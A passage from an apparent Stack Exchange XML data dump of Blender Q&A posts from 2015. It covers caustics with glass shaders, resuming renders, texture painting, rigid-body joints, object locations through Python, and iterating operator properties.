href=&quot;https://builder.blender.org/&quot; rel=&quot;nofollow&quot;&gt;get the latest build.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-09-08T22:48:14.070" LastActivityDate="2015-09-08T22:48:14.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38152" PostTypeId="2" ParentId="38150" CreationDate="2015-09-07T00:43:27.560" Score="4" Body="&lt;h2&gt;Enable Refractive Caustic + Glass shader&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;It's not shadow, it's light!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The effect you see in the picture is a phyisical effect called &quot;&lt;a href=&quot;https://en.wikipedia.org/wiki/Caustic_%28optics%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;caustics&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;White light get into the dice volume. There's in a certain quantity of light that is absorbed by the dice's material. Th red component is not absorbed, so is free to get out of the volumes and reach into the camera, letting we see the cube red (different shades of red because not all the cube surroundings are full white light sources). Not all the &quot;filtered&quot; rays (made of red light only) go directly to the camera, some of them also reflected on the plane surface coloring it a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Cycles can emulate that effect if you enable the Caustics by ticking the check boxes near the cursor in the picture below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2to5Y.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2to5Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all you must use a Glass shader, or the light will not penetrate your object's surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without Caustics, the object project a soft shadow on the opposite side of the light source. The plane is grey, so the shadow will result in a darker grey because less light can reach that points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refractive Caustics option takes in account the light that travels through a material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ga7Mm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ga7Mm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, the base plane from the photo is sligthtly glossy (you can almost see the dice mirrored) so I would suggest to use a mix of a diffuse and glossy shader in order to get some color bleeding also on the sides where the caustics aren't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Final result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nGUSv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nGUSv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-09-07T03:20:54.997" LastActivityDate="2015-09-07T03:20:54.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38153" PostTypeId="2" ParentId="38147" CreationDate="2015-09-07T01:23:03.137" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vmrEl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vmrEl.png&quot; alt=&quot;Solution!&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mouse's movements can't be read in Fly Mode when the menu is like the example in red. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this to work I also have to hide the right side of the menu like &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so: &lt;a href=&quot;http://puu.sh/k2Bl3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://puu.sh/k2Bl3.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17948" LastEditorUserId="17948" LastEditDate="2015-09-07T03:06:47.740" LastActivityDate="2015-09-07T03:06:47.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38154" PostTypeId="2" ParentId="38085" CreationDate="2015-09-07T02:26:17.380" Score="1" Body="&lt;h2&gt;Repeated Image Mapping&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The slot named Textures near the cursor in the Tool Tab is relative to the &lt;strong&gt;Brush&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/o02rY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/o02rY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The slot in where you can choose which is the acticve texture to paint onto can be found in the Slot Tab in the &lt;strong&gt;Slot&lt;/strong&gt; panel. The active texture is the one highlited with blue color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vh9iH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vh9iH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see on the right you are probably painting a texture with a brush that paint other textures, maybe sometime the same, and may be one of the causes you have repeating features spreading all around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the main cause of that relies on the &lt;strong&gt;Repeating&lt;/strong&gt; settings of your Skin texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6U0UY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6U0UY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those values alter how the texture is placed and sized on the UV space. You must set them to 1 an 1 to get the UV unwrapped island to stay in place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to paint just plain colors, remove Brush Texture by hitting the X button. If you want to paint texture from an image, be sure to use diffrent textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QJMIk.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QJMIk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0JwNM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0JwNM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/475/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=475&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-09-07T02:59:39.540" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="38155" PostTypeId="1" AcceptedAnswerId="38157" CreationDate="2015-09-07T02:29:05.600" Score="3" ViewCount="1994" Body="&lt;p&gt;Is there a way you can resume renderings with cycles in AVI JPEG Format? Like if you wanted to stop your computer and give it a break and then start off the next time where you ended it? I don't know, it's just a question I've been asking my self a long time &lt;/p&gt;&#xA;" OwnerUserId="16802" LastEditorDisplayName="user1853" LastEditDate="2015-09-07T17:29:48.580" LastActivityDate="2015-09-07T17:29:48.580" Title="Resume rendering?" Tags="&lt;rendering&gt;&lt;animation&gt;&lt;file-format&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38156" PostTypeId="2" ParentId="38155" CreationDate="2015-09-07T04:53:59.867" Score="3" Body="&lt;p&gt;To do the rendering in different sessions, render as an image sequence first. Make sure you disable the Overwrite option on the render output, that way the frames that are already rendered will be unaffected, no need to change the start point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AVmsz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AVmsz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are finished rendering all of the frames of your scene compile the image sequence into a video format.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-09-07T17:20:04.250" LastActivityDate="2015-09-07T17:20:04.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38157" PostTypeId="2" ParentId="38155" CreationDate="2015-09-07T04:54:34.723" Score="2" Body="&lt;p&gt;I don't think so, so just render each frame separately and use them in an image sequence when rendering the movie. That way you can pause the rendering any time you wish, and simply change which frame your starting from when you begin again.&lt;/p&gt;&#xA;" OwnerUserId="5253" LastActivityDate="2015-09-07T04:54:34.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38158" PostTypeId="2" ParentId="38146" CreationDate="2015-09-07T05:20:18.830" Score="2" Body="&lt;p&gt;You need to activate the action actuator after changing the property. The above image shows you activate it only when setting the property to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you connect the fourth controller with the action actuator too.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-09-07T05:20:18.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38159" PostTypeId="2" ParentId="38135" CreationDate="2015-09-07T05:32:27.543" Score="3" Body="&lt;p&gt;Collisions detect intersections of faces only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your object is &quot;inside&quot; the over object without intersecting any face it can't be sensed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FjYrG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FjYrG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want this kind of detection you need to ensure the sensing object has no gap that a sensed object could &quot;hide&quot; without touching a face (and vice versa).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The background is simple: The physics engine does not perform &quot;inside&quot; checks. It assumes that objects will intersect a surface before being inside another object. This is for performance reasons. Unfortunately small fast travelling objects can do exactly that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/34D4u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/34D4u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible solution for you is to add additional faces inside the surrounding object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/A4eTP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/A4eTP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-09-08T08:50:43.820" LastActivityDate="2015-09-08T08:50:43.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38160" PostTypeId="2" ParentId="38094" CreationDate="2015-09-07T08:57:19.010" Score="3" Body="&lt;p&gt;A cycles material where the Diffuse node could be replaced with your own shader tree. This method uses the distance x,y from 0,0,0 (ignores the z component) - but does need the &lt;code&gt;Separate XYZ node&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n0YjZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n0YjZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-09-07T08:57:19.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38161" PostTypeId="1" AcceptedAnswerId="38224" CreationDate="2015-09-07T09:56:45.920" Score="4" ViewCount="398" Body="&lt;p&gt;The first picture shows the mesh, I'm looking for a way use the duplicate frames feature to make the object follow that &quot;path&quot; as it is shown in the second picture with an actual path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tAgfL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tAgfL.png&quot; alt=&quot;Example mesh&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZpQMP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZpQMP.png&quot; alt=&quot;Example result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the task is mainly to convert the mesh into a path with the correct tilt information but I'm open for every solution.&lt;/p&gt;&#xA;" OwnerUserId="8255" LastEditorUserId="8255" LastEditDate="2015-09-08T11:17:45.237" LastActivityDate="2020-04-06T05:26:03.733" Title="Use a mesh as a path with correct tilt information for use with &quot;duplicate frames&quot;" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38162" PostTypeId="1" CreationDate="2015-09-07T09:57:59.137" Score="1" ViewCount="140" Body="&lt;p&gt;I am attempting to make a building framework using rigid bodies but the simulation doesn't seem to be using the mesh correctly. I have two beams arranged in a joint and have made sure them meshes do not intersect. However, when I start the simulations they 'pop' outwards as if they are overlapping and need to move away from each other. I have included a gif of the first few frames as well as the rigid body settings for the beams.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hWLEF.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hWLEF.gif&quot; alt=&quot;Beam pop&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dKsrJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dKsrJ.png&quot; alt=&quot;Rigid body settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17955" LastEditorUserId="17955" LastEditDate="2015-09-07T10:07:43.817" LastActivityDate="2015-09-07T10:07:43.817" Title="Rigid body joints 'popping out'" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38163" PostTypeId="1" CreationDate="2015-09-07T11:45:31.347" Score="2" ViewCount="1238" Body="&lt;p&gt;Is there any method to get location of an object which has &quot;follow path&quot; and &quot;track to&quot; constraints?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;scene = bpy.context.scene&#xA;scene.objects['Cube'].location[0]&#xA;scene.objects['Cube'].location[1]&#xA;scene.objects['Cube'].location[2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code above gives me constant location of an object, relative to the followed path I suppose&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to get global location instead, just like in case of an object with no constraints.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions will be appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="17956" LastEditorUserId="17956" LastEditDate="2015-09-07T12:54:10.557" LastActivityDate="2017-12-10T09:33:47.050" Title="Getting location of the object with &quot;follow path&quot; and &quot;track to&quot; constraints -- using Python" Tags="&lt;python&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38166" PostTypeId="2" ParentId="38161" CreationDate="2015-09-07T12:33:02.280" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;First create a loop cut in the middle of your Path, &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sbkVs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sbkVs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; while the loop cut is selected to select everything appart from this exact edge and &lt;kbd&gt;delete&lt;/kbd&gt;. Or if you want to keep the path you have to just duplicate this loop cut and &lt;strong&gt;Separate it by Selection&lt;/strong&gt;, using &lt;kbd&gt;P&lt;/kbd&gt; key,&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f1MYJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f1MYJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;After that you have to convert this edge into a Curve, to do that press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;strong&gt;Curve from Mesh/Text&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vuLuj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vuLuj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Now you have to get your model of the planch,&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9AHFT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9AHFT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Give it an &lt;strong&gt;Array&lt;/strong&gt; Modifier, and set the spacing between each planch as well as the number of the planches to fit the Curve.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lnVou.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lnVou.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/59gHf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/59gHf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Finally apply the &lt;strong&gt;Aray&lt;/strong&gt; Modifier and add a &lt;strong&gt;Curve&lt;/strong&gt; Modifier, then choose the Curve &lt;em&gt;(it is propably going to be under the name of PLANE)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nsTFj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nsTFj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fKQ6m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fKQ6m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Result&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zRkpp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zRkpp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-09-07T12:33:02.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38167" PostTypeId="2" ParentId="38163" CreationDate="2015-09-07T12:52:24.437" Score="0" Body="&lt;p&gt;Once you've set your constraints, you can see the object's location changing by dragging the time cursor in the timeline. The 'Python' way to do it is to use the function : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scene.frame_set(i_frame)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, you can use &lt;code&gt;object.location&lt;/code&gt; to access the 3 Vector containing the location of the object. The indices of the location vector are simply the X, Y and Z components of the location (no link to the frames of the path). The same way, you can access to the rotation of the object using one of these : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object.rotation_euler&#xA;object.rotation_quaternion&#xA;object.rotation_axis_angle&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Usually, the Euler reresentation of the rotation of the object is preferred. Both the location and rotation of the object are defined globally.&lt;/p&gt;&#xA;" OwnerUserId="15363" LastActivityDate="2015-09-07T12:52:24.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38169" PostTypeId="1" AcceptedAnswerId="38203" CreationDate="2015-09-07T13:04:38.883" Score="2" ViewCount="2426" Body="&lt;p&gt;I have objects in Blender, with a limited amount of faces. Several of the objects have rounded parts (like on the screenshot below). When rendering this - even with smooth shading - the &quot;rounded&quot; parts look blocky. I would like them the be nicely curved. Obviously I could manually model some more faces. Given the large amount of objects, that's a lot of work. So I'd like to find an automated way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried the smooth modifier as well as subsurf (--&gt; too much deformation). Nothing works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anybody know how this could be achieved with e.g. a bit of Python code or so? I have a lot of Python experience, so integrating some Python source is no issue if that can provide a solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Yd1jz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Yd1jz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17959" LastActivityDate="2015-09-08T00:21:47.427" Title="How to round a mesh?" Tags="&lt;mesh&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38170" PostTypeId="1" AcceptedAnswerId="38174" CreationDate="2015-09-07T13:41:07.830" Score="4" ViewCount="196" Body="&lt;p&gt;I'd like to iterate over the properties (names and values) of a dialog operator in its execute method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current way of doing this involves a metaclass and multiple inheritance...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any simpler way?&lt;/p&gt;&#xA;" OwnerUserId="17960" LastActivityDate="2015-09-07T14:09:07.497" Title="Iterate over Properties of an Operator" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38171" PostTypeId="1" AcceptedAnswerId="38176" CreationDate="2015-09-07T13:50:11.447" Score="4" ViewCount="3374" Body="&lt;p&gt;I was trying to replace an image in my UV image editor, but the image defaults to a different image. how do I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RkVWt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RkVWt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TL8fJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TL8fJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17961" LastEditorUserId="2607" LastEditDate="2015-09-07T14:53:10.607" LastActivityDate="2016-09-15T09:23:53.250" Title="Cannot replace a packed image in the uv image editor" Tags="&lt;uv&gt;&lt;image&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38172" PostTypeId="1" AcceptedAnswerId="38173" CreationDate="2015-09-07T13:53:06.987" Score="4" ViewCount="1536" Body="&lt;p&gt;I've created a tree on Blender but when it comes to export preset it gives me this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3fBhu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3fBhu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't understand what the problem is. Do I have to change some paths in the user settings? &lt;/p&gt;&#xA;" OwnerUserId="17941" LastEditorUserId="12" LastEditDate="2015-09-07T17:16:52.757" LastActivityDate="2017-12-03T03:28:48.163" Title="Error while exporting preset in sapling:add tree" Tags="&lt;export&gt;&lt;bezier-curves&gt;&lt;windows&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38173" PostTypeId="2" ParentId="38172" CreationDate="2015-09-07T14:02:31.670" Score="2" Body="&lt;p&gt;Ok, I've solved this problem and it was simply a permission problem.&lt;br&gt;&#xA;Blender needs to have administrator rights to write in the &quot;presets&quot; folder, so it won't export anything in there if you don't give the permissions.&lt;br&gt;&#xA;What you have to do is to right click on the folder &quot;presets&quot; -&gt; Properties -&gt; Security and give to user the permissions to write. &lt;/p&gt;&#xA;" OwnerUserId="17941" LastActivityDate="2015-09-07T14:02:31.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38174" PostTypeId="2" ParentId="38170" CreationDate="2015-09-07T14:09:07.497" Score="3" Body="&lt;p&gt;To iterate over all RNA properties you can access:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;self.rna_type.properties.keys()&lt;/code&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases you'll want to skip &lt;code&gt;rna_type&lt;/code&gt;, which is added automatically.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Example operator which prints its properties in order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import StringProperty&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Operator&quot;&#xA;&#xA;    foo = StringProperty()&#xA;    bar = StringProperty()&#xA;    baz = StringProperty()&#xA;    spam = StringProperty()&#xA;&#xA;    def execute(self, context):&#xA;        for k in self.rna_type.properties.keys():&#xA;            if k == &quot;rna_type&quot;:&#xA;                continue&#xA;            print(k)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    # test call&#xA;    bpy.ops.object.simple_operator()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-09-07T14:09:07.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38175" PostTypeId="2" ParentId="7698" CreationDate="2015-09-07T14:30:59.513" Score="2" Body="&lt;p&gt;Mark the two vertices to the left, set the cursor to selected (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;). Delete the other ones. Set the pivot point to cursor (it's to the right of the shader button...). Then duplicate one of the vertices, and rotate it 60 degrees. Repeat. Now add edges between them (&lt;kbd&gt;F&lt;/kbD&gt;).&lt;/p&gt;&#xA;" OwnerUserId="17965" LastEditorUserId="241" LastEditDate="2015-12-21T16:35:59.277" LastActivityDate="2015-12-21T16:35:59.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38176" PostTypeId="2" ParentId="38171" CreationDate="2015-09-07T14:51:24.257" Score="6" Body="&lt;p&gt;Your image is packed, replacing it is not possible (in newer blender this option is now grayed out in this case). You have to unpack it first, if you want to replace it.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-09-07T14:51:24.257" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
